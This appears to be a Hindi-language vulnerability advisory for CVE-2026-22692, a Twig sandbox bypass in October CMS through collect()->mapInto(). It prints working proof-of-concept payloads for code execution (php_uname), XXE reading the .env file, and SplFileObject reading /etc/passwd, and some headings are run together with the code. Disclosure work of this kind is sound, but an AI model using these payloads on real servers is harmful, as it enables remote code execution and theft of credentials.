
CVE-2026-22692 - collect()->mapInto() के माध्यम से गंभीर Twig सैंडबॉक्स बाइपास, जो October CMS में RCE/LFI/XXE की अनुमति देता है।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-22692 |
| गंभीरता | मध्यम (CVSS:3.1 4.9) |
| एडवाइज़री | GHSA-m5qg-jc75-4jp6 |
| प्रभावित उत्पाद | October CMS (<= 4.1.4, <= 3.7.12) |
| भेद्यता प्रकार | Twig सैंडबॉक्स बाईपास -> RCE, LFI, XXE |
| खोजकर्ता | Lukasz Rybak |
October CMS Twig सैंडबॉक्स (सुरक्षित मोड) में एक गंभीर भेद्यता मौजूद है, जो टेम्पलेट संपादन विशेषाधिकारों वाले प्रमाणित उपयोगकर्ताओं को सुरक्षा प्रतिबंधों को बायपास करने और सर्वर से मनमाना PHP कोड निष्पादित करने (RCE) या मनमानी फ़ाइलें पढ़ने (XXE/LFI) की अनुमति देती है।
मूल कारण October\Rain\Support\SafeCollection में स्थित है। यह क्लास CallsAnyMethod इंटरफ़ेस को लागू करती है, जो System\Twig\SecurityPolicy को संग्रह ऑब्जेक्ट के लिए मानक विधि अनुमति-सूची को बायपास करने का निर्देश देता है।
जबकि SafeCollection कॉल करने योग्य (callables) के सीधे निष्पादन को रोकने के लिए तर्कों को फ़िल्टर करने का प्रयास करता है, यह mapInto($class) विधि को ब्लॉक नहीं करता है। mapInto विधि संग्रह पर पुनरावृति करती है और प्रदान किए गए क्लास नाम को इंस्टैंशिएट करती है:
new $class($value, $key);
यह एक हमलावर को एप्लिकेशन को ज्ञात किसी भी क्लास को इंस्टैंशिएट करने की अनुमति देता है।
System\Twig\SecurityPolicy सभी ऑब्जेक्ट्स पर __toString() विधि को स्पष्ट रूप से अनुमति-सूचीबद्ध करता है। Psy\Readline\Hoa\Xcallable (जो एक कॉल करने योग्य को रैप करता है) को इंस्टैंशिएट करके और इसे GuzzleHttp\Psr7\FnStream के अंदर रैप करके (जो अपनी __toString विधि में _fn___toString प्रॉपर्टी के माध्यम से उपयोगकर्ता-परिभाषित फ़ंक्शन को कॉल करता है), एक हमलावर Twig में ऑब्जेक्ट को प्रिंट करके बिना किसी तर्क की आवश्यकता वाले मनमाने PHP फ़ंक्शन (जैसे php_uname, phpinfo) के निष्पादन को ट्रिगर कर सकता है।
SimpleXMLElement क्लास अपने दूसरे कंस्ट्रक्टर तर्क के रूप में एक libxml विकल्प फ़्लैग स्वीकार करता है। mapInto() कंस्ट्रक्टर को दूसरे तर्क के रूप में संग्रह कुंजी पास करता है। 2 कुंजी (जो LIBXML_NOENT के अनुरूप है) वाला संग्रह बनाकर, एक हमलावर SimpleXMLElement में बाह्य एंटिटी प्रतिस्थापन सक्षम कर सकता है, जिससे तत्काल XXE और सिस्टम फ़ाइलों को पढ़ने की क्षमता उत्पन्न होती है।
नेटिव PHP SplFileObject क्लास का उपयोग करके एक अधिक प्रत्यक्ष लोकल फ़ाइल इन्क्लूज़न (LFI) भेद्यता मौजूद है। फ़ाइल पथ और पठन मोड के साथ SplFileObject को इंस्टैंशिएट करके (mapInto के माध्यम से पास किया गया), एक हमलावर एक ट्रैवर्सेबल फ़ाइल ऑब्जेक्ट प्राप्त करता है। इस ऑब्जेक्ट को collect() हेल्पर को पास करने से तत्काल पुनरावृति ट्रिगर होती है (फ्रेमवर्क के कोर के अंदर iterator_to_array के माध्यम से), जो सैंडबॉक्स की विधि-ब्लॉकिंग नीति को बायपास करती है। यह XML समर्थन या विशिष्ट विक्रेता लाइब्रेरी की आवश्यकता के बिना, वेब सर्वर की पहुँच वाली किसी भी फ़ाइल को पढ़ने की अनुमति देता है।
CMS_SAFE_MODE=truephp_uname निष्पादित करें){% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
.env फ़ाइल पढ़ें){% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
SplFileObject के माध्यम से /etc/passwd पढ़ें){% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
रिमोट कोड निष्पादन (RCE), लोकल फ़ाइल इन्क्लूज़न (LFI), XML बाह्य एंटिटी इंजेक्शन (XXE)।
SimpleXMLElement या SplFileObject) के माध्यम से सर्वर फ़ाइल सिस्टम पर मौजूद किसी भी फ़ाइल को पढ़ने की अनुमति देता है, जिस तक वेब उपयोगकर्ता की पहुँच है (जिसमें /etc/passwd, डेटाबेस कॉन्फ़िगरेशन, .env, आदि शामिल हैं)।यह उन सभी October CMS इंस्टॉलेशन को प्रभावित करता है जहाँ अविश्वसनीय या अर्ध-विश्वसनीय उपयोगकर्ताओं के पास CMS टेम्पलेट संपादक तक पहुँच है, जो प्रभावी रूप से उन्हें सिस्टम एडमिनिस्ट्रेटर / रूट स्तर के तर्क तक विशेषाधिकार बढ़ाने की अनुमति देता है।
यह CVE समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारीपूर्वक प्रकट किया गया था। यहाँ दी गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।